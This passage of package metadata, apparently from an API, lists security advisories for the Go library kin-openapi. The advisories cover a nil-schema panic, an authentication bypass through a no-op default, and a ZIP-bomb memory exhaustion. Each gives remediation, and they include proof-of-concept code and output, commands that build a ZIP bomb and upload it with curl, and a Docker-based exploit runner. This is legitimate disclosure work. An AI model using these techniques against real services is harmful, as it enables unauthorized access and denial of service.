`content` parameter whose media type lacks a `schema`.\n\nThe precise consequence depends on which goroutine runs the panic and whether a `recover()` covers it:\n\n| Wiring | Recovered by `net/http`? | Result |\n|---|---|---|\n| Synchronous middleware / handler on `net/http` (incl. `openapi3filter.ValidationHandler`) | Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded `http: panic serving` log growth. |\n| `ValidateRequest` on an app-spawned goroutine (fan-out, `errgroup`, async pre-check) | No | **Whole process crashes** on a single unauthenticated request unless the app added its own `recover()`. |\n| Non-`net/http` host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) | No | **Whole process crashes.** |\n\nThis is why the suggested CVSS uses `A:L` (Base 5.3): under the recommended synchronous `net/http` wiring the panic is recovered per-connection. Reviewers may reasonably raise it to `A:H` (Base 7.5) for the spawned-goroutine and non-`net/http` integrations, where a single request kills the process.\n\n---\n\n## Remediation (suggested)\n\nAdd a `mt.Schema == nil` guard mirroring the existing `mt == nil` guard, so a schema-less content parameter yields a clean validation error instead of a panic:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil {\n    err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n    return\n}\nif mt.Schema == nil {\n    err = fmt.Errorf(\"parameter %q content media type has no schema\", param.Name)\n    return\n}\noutSchema = mt.Schema.Value\n```\n\nThe `unmarshal` closure immediately below already tolerates a nil schema (it checks `paramSchema != nil`), so returning early on nil `mt.Schema` is consistent with surrounding intent.\n\n**Workarounds for consumers, pending a patch:**\n\n- Ensure every `content` parameter in served specs declares a `schema`, or reject such specs at load time.\n- Supply a custom `ParamDecoder` that guards `mt.Schema == nil`.\n- Run request validation inside a handler with an explicit `recover()` — especially if validation runs off the request goroutine or on a non-`net/http` host.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-24T22:39:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq","https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64","https://github.com/getkin/kin-openapi/releases/tag/v0.144.0","https://github.com/advisories/GHSA-jpcw-4wr7-c3vq"],"source_kind":"github","identifiers":["GHSA-jpcw-4wr7-c3vq","CVE-2026-73502"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T23:00:09.219Z","updated_at":"2026-10-18T20:02:56.004Z","epss_percentage":0.00507,"epss_percentile":0.41585,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcGN3LTR3cjctYzN2cc4ABfto","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcGN3LTR3cjctYzN2cc4ABfto","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.144.0","vulnerable_version_range":"\u003c= 0.143.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcGN3LTR3cjctYzN2cc4ABfto/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yMjc3LTZ3NnEteG1xd84ABfrD","url":"https://github.com/advisories/GHSA-r277-6w6q-xmqw","title":"kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default","description":"### Summary\n`ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. \n\n### Details\n`ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving:\n\n```go\n// openapi3filter/validation_handler.go:47-49\nif h.AuthenticationFunc == nil {\n    h.AuthenticationFunc = NoopAuthenticationFunc\n}\n```\n\n`NoopAuthenticationFunc` is defined as:\n\n```go\n// openapi3filter/validation_handler.go:17-18\nfunc NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }\n```\n\nIt always returns `nil`, meaning every security scheme check it handles is automatically approved.\n\nWhen a request arrives, `ServeHTTP` → `before` → `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`:\n\n```go\n// openapi3filter/validation_handler.go:91-103\noptions := \u0026Options{\n    AuthenticationFunc: h.AuthenticationFunc,\n}\nrequestValidationInput := \u0026RequestValidationInput{\n    Request:    r,\n    PathParams: pathParams,\n    Route:      route,\n    Options:    options,\n}\nif err = ValidateRequest(r.Context(), requestValidationInput); err != nil {\n    return err\n}\n```\n\nInside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`:\n\n```go\n// openapi3filter/validate_request.go:436-438\nf := options.AuthenticationFunc\nif f == nil {\n    return ErrAuthenticationServiceMissing   // fail-closed path — never reached via ValidationHandler\n}\n// ...\n// openapi3filter/validate_request.go:497-503\nif err := f(ctx, \u0026AuthenticationInput{...}); err != nil {\n    return err\n}\n```\n\nBecause `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`).\n\nThe critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable.\n\nAffected source file and line: `openapi3filter/validation_handler.go:47–49` (commit `30e2923`, tag `v0.143.0`).\n\n### PoC\n**Environment**\n\n```\nDocker (any version supporting multi-stage builds)\nGo 1.25 (inside the container via golang:1.25-alpine)\ngetkin/kin-openapi v0.143.0 (local source copy)\n```\n\n**Step 1 — Build the Docker image**\n\nFrom the repository root (parent of `vuln-001/`):\n\n```bash\ndocker build \\\n  -t vuln001-auth-bypass-poc \\\n  -f vuln-001/Dockerfile \\\n  reports/github_web_233_getkin__kin-openapi\n```\n\nThe `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run --rm --network none vuln001-auth-bypass-poc\n```\n\n**Step 3 (alternative) — Use the Python helper**\n\n```bash\npython3 vuln-001/poc.py --no-cleanup\n```\n\n**What the PoC does**\n\n`main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme:\n\n```yaml\npaths:\n  /secret:\n    get:\n      security:\n        - apiKey: []\ncomponents:\n  securitySchemes:\n    apiKey:\n      type: apiKey\n      name: X-Api-Key\n      in: header\n```\n\nIt then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header:\n\n```http\nGET /secret HTTP/1.1\nHost: example.test\n# X-Api-Key header is intentionally absent\n```\n\n**Expected (vulnerable) output**\n\n```\n=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===\n  Direct ValidateRequest (nil auth) =\u003e ERROR: security requirements failed: missing AuthenticationFunc\n  -\u003e Fail-CLOSED behavior confirmed: missing auth function is rejected\n\n=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===\n  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret\n  ValidationHandler.AuthenticationFunc: NOT SET (nil)\n  Load() will inject NoopAuthenticationFunc, which always returns nil\n\n  Request:  GET /secret  (X-Api-Key header: absent)\n  Response: status=200  body=\"SECRET_DATA\\n\"\n\n[EXPLOIT SUCCESS] Auth bypass confirmed!\n  Protected resource /secret returned SECRET_DATA without credentials.\n  ValidationHandler.Load() silently injected NoopAuthenticationFunc.\n  Security requirement was bypassed. VULN-001 REPRODUCED.\n```\n\nThe contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential.\n\n**Remediation patch**\n\n```diff\n--- a/openapi3filter/validation_handler.go\n+++ b/openapi3filter/validation_handler.go\n@@\n  if h.Handler == nil {\n      h.Handler = http.DefaultServeMux\n  }\n- if h.AuthenticationFunc == nil {\n-     h.AuthenticationFunc = NoopAuthenticationFunc\n- }\n  if h.ErrorEncoder == nil {\n      h.ErrorEncoder = DefaultErrorEncoder\n  }\n```\n\nAfter this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`.\n\n### Impact\nThis is an **authentication bypass** vulnerability (CWE-287). Any application that:\n\n1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and\n2. declares one or more `security` requirements in its OpenAPI specification, and\n3. does **not** explicitly set `AuthenticationFunc`,\n\nis fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.\n\nAffected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the \"getting started\" path are affected without any additional mistake.\n\nThe confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM golang:1.25-alpine\n\n# Install git (needed by go mod for some packages)\nRUN apk add --no-cache git\n\nWORKDIR /workspace\n\n# Copy the vulnerable kin-openapi repository as a local module replacement\nCOPY repo/ /kin-openapi/\n\n# Set up the PoC Go module\nRUN mkdir -p /workspace/poc\nWORKDIR /workspace/poc\n\n# Create go.mod that uses the local copy of the vulnerable kin-openapi\nRUN cat \u003e go.mod \u003c\u003c'EOF'\nmodule kin-openapi-auth-bypass-poc\n\ngo 1.25\n\nrequire github.com/getkin/kin-openapi v0.143.0\n\nreplace github.com/getkin/kin-openapi =\u003e /kin-openapi\nEOF\n\n# Copy the PoC source (build context is the parent directory of vuln-001/)\nCOPY vuln-001/main.go /workspace/poc/main.go\n\n# Resolve dependencies and build\nRUN go mod tidy \u0026\u0026 \\\n    go build -o /poc-binary .\n\n# Run the PoC\nCMD [\"/poc-binary\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default\nRepository: getkin/kin-openapi v0.143.0\nCWE: CWE-287 (Improper Authentication)\nCVSS: 9.1 (Critical)\n\nVulnerability Summary:\n    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.\n    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement\n    passes without validation when the user forgets to set AuthenticationFunc.\n\n    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing\n    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).\n\nUsage:\n    python3 poc.py [--build-dir \u003cdir\u003e] [--image \u003cname\u003e] [--no-cleanup]\n\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nimport json\n\nIMAGE_NAME = \"vuln001-auth-bypass-poc\"\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), \"repo\")\n\nSUCCESS_MARKER = \"[EXPLOIT SUCCESS]\"\nEXPECTED_STATUS = \"status=200\"\nEXPECTED_BODY = 'body=\"SECRET_DATA\\\\n\"'\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return (returncode, stdout, stderr).\"\"\"\n    print(f\"[CMD] {' '.join(cmd)}\")\n    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)\n    if result.stdout:\n        print(result.stdout, end=\"\")\n    if result.stderr:\n        print(result.stderr, end=\"\", file=sys.stderr)\n    return result.returncode, result.stdout, result.stderr\n\n\ndef build_image(build_dir):\n    \"\"\"Build the Docker image containing the PoC binary.\"\"\"\n    print(\"\\n[*] Building Docker image ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"build\",\n        \"--build-arg\", f\"REPO_DIR={REPO_DIR}\",\n        \"-t\", IMAGE_NAME,\n        \"-f\", os.path.join(build_dir, \"Dockerfile\"),\n        # Build context is the reports root so both Dockerfile and repo/ are reachable\n        os.path.dirname(build_dir),\n    ])\n    if rc != 0:\n        print(f\"[ERROR] Docker build failed (exit {rc})\", file=sys.stderr)\n        sys.exit(rc)\n    print(\"[*] Docker build succeeded.\")\n    return f\"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}\"\n\n\ndef run_container():\n    \"\"\"Run the container and capture output.\"\"\"\n    print(\"\\n[*] Running PoC container ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"run\", \"--rm\",\n        \"--network\", \"none\",   # no network access needed\n        IMAGE_NAME,\n    ])\n    combined = stdout + stderr\n    return rc, combined\n\n\ndef evaluate(exit_code, output):\n    \"\"\"Determine whether the exploit was confirmed.\"\"\"\n    passed = (\n        exit_code == 0\n        and SUCCESS_MARKER in output\n        and EXPECTED_STATUS in output\n        and EXPECTED_BODY in output\n    )\n    return passed\n\n\ndef cleanup_image():\n    \"\"\"Remove the Docker image.\"\"\"\n    print(f\"\\n[*] Removing Docker image {IMAGE_NAME} ...\")\n    run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME])\n\n\ndef main():\n    global IMAGE_NAME\n    parser = argparse.ArgumentParser(description=\"VULN-001 Auth Bypass PoC runner\")\n    parser.add_argument(\"--build-dir\", default=SCRIPT_DIR,\n                        help=\"Directory containing Dockerfile and main.go\")\n    parser.add_argument(\"--image\", default=IMAGE_NAME,\n                        help=\"Docker image name to build/run\")\n    parser.add_argument(\"--no-cleanup\", action=\"store_true\",\n                        help=\"Keep the Docker image after the run\")\n    args = parser.parse_args()\n    IMAGE_NAME = args.image\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default\")\n    print(\"=\" * 60)\n    print(f\"  Build dir : {args.build_dir}\")\n    print(f\"  Repo dir  : {REPO_DIR}\")\n    print(f\"  Image     : {IMAGE_NAME}\")\n\n    build_cmd = build_image(args.build_dir)\n    run_cmd = f\"docker run --rm --network none {IMAGE_NAME}\"\n\n    exit_code, output = run_container()\n\n    if not args.no_cleanup:\n        cleanup_image()\n\n    passed = evaluate(exit_code, output)\n\n    print(\"\\n\" + \"=\" * 60)\n    if passed:\n        print(\"[RESULT] PASS — Auth bypass CONFIRMED\")\n        print(\"  The protected handler returned SECRET_DATA without credentials.\")\n        print(\"  ValidationHandler.Load() injected NoopAuthenticationFunc silently.\")\n    else:\n        print(f\"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})\")\n\n    print(f\"\\nContainer exit code : {exit_code}\")\n    print(f\"Success marker found: {SUCCESS_MARKER in output}\")\n    print(f\"Status 200 found    : {EXPECTED_STATUS in output}\")\n    print(f\"Secret body found   : {EXPECTED_BODY in output}\")\n\n    # Exit with code that signals pass/fail\n    sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-07-24T16:52:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw","https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da","https://github.com/getkin/kin-openapi/releases/tag/v0.144.0","https://github.com/advisories/GHSA-r277-6w6q-xmqw"],"source_kind":"github","identifiers":["GHSA-r277-6w6q-xmqw"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T17:00:09.078Z","updated_at":"2026-10-18T20:03:01.916Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yMjc3LTZ3NnEteG1xd84ABfrD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yMjc3LTZ3NnEteG1xd84ABfrD","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.144.0","vulnerable_version_range":"\u003c= 0.143.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yMjc3LTZ3NnEteG1xd84ABfrD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13cTlnLTl2ZmMtY2ZxOc4ABFpi","url":"https://github.com/advisories/GHSA-wq9g-9vfc-cfq9","title":"Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter","description":"### Summary\n\nWhen validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.\n\n### Details\n\nThe root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).\n\n### PoC\nTo reproduce the vulnerability, you can use the following OpenAPI schema:\n```yaml\nopenapi: 3.0.0\ninfo:\n  title: 'Validator'\n  version: 0.0.1\npaths:\n  /:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              required:\n                - file\n              properties:\n                file:\n                  type: string\n                  format: binary\n      responses:\n        '200':\n          description: Created\n```\nAnd this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\tlegacyrouter \"github.com/getkin/kin-openapi/routers/legacy\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n)\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tloader := openapi3.NewLoader()\n\n\tdoc, err := loader.LoadFromFile(\"schema.yaml\")\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to load OpenAPI document\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err := doc.Validate(r.Context()); err != nil {\n\t\thttp.Error(w, \"Invalid OpenAPI document\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\trouter, err := legacyrouter.NewRouter(doc)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to create router\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to find route\", http.StatusNotFound)\n\t\treturn\n\t}\n\n\tinput := \u0026openapi3filter.RequestValidationInput{\n\t\tRequest:     r,\n\t\tQueryParams: r.URL.Query(),\n\t\tRoute:       route,\n\t\tPathParams:  pathParams,\n\t}\n\n\tif err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Request validation failed: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"request ok !\"))\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n\n}\n```\n\nWe also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:\n```shell\nperl -e 'print \"0\" x 5000000000' \u003e /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt\n```\n\nRun the PoC provided, and upload the zip bomb with `curl localhost:8080/  -F file=\"@/tmp/bomb.zip;type=application/zip\" -v`.\n\nObserve the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) \n\n### Impact\n\nAn attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.\nIt seems to only be exploitable if the OpenAPI schema allows for multipart upload.\n\n### Remediation\n\nI see at least 2 potential fixes/improvements:\n - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)\n - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-03-19T18:12:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-wq9g-9vfc-cfq9","https://github.com/getkin/kin-openapi/pull/1059","https://github.com/getkin/kin-openapi/commit/67f0b233ffc01332f7d993f79490fbea5f4455f1","https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275","https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523","https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse","https://nvd.nist.gov/vuln/detail/CVE-2025-30153","https://github.com/advisories/GHSA-wq9g-9vfc-cfq9"],"source_kind":"github","identifiers":["GHSA-wq9g-9vfc-cfq9","CVE-2025-30153"],"repository_url":"https://github.com/getkin/kin-openapi","blast_radius":0.0,"created_at":"2025-03-19T19:07:59.846Z","updated_at":"2026-10-18T20:11:38.627Z","epss_percentage":0.00538,"epss_percentile":0.43643,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cTlnLTl2ZmMtY2ZxOc4ABFpi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cTlnLTl2ZmMtY2ZxOc4ABFpi","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.131.0","vulnerable_version_range":"\u003c 0.131.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cTlnLTl2ZmMtY2ZxOc4ABFpi/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/getkin/kin-openapi","docker_dependents_count":558,"docker_downloads_count":4663598080,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/getkin/kin-openapi","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/getkin/kin-openapi/dependencies","status":null,"funding_links":["https://github.com/sponsors/fenollp"],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-17T18:32:33.587Z","issues_count":479,"pull_requests_count":960,"avg_time_to_close_issue":20150127.559902202,"avg_time_to_close_pull_request":2894133.042071197,"issues_closed_count":409,"pull_requests_closed_count":927,"pull_request_authors_count":293,"issue_authors_count":360,"avg_comments_per_issue":2.164926931106472,"avg_comments_per_pull_request":1.0145833333333334,"merged_pull_requests_count":785,"bot_issues_count":0,"bot_pull_requests_count":1,"past_year_issues_count":41,"past_year_pull_requests_count":195,"past_year_avg_time_to_close_issue":5594184.794117647,"past_year_avg_time_to_close_pull_request":317272.70430107525,"past_year_issues_closed_count":34,"past_year_pull_requests_closed_count":186,"past_year_pull_request_authors_count":49,"past_year_issue_authors_count":32,"past_year_avg_comments_per_issue":1.121951219512195,"past_year_avg_comments_per_pull_request":0.6358974358974359,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":155,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/issues","maintainers":[{"login":"fenollp","count":282,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fenollp"},{"login":"danielgtaylor","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/danielgtaylor"},{"login":"wwerner","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wwerner"},{"login":"jban332","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jban332"}],"active_maintainers":[{"login":"fenollp","count":49,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fenollp"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/codemeta","maintainers":[]}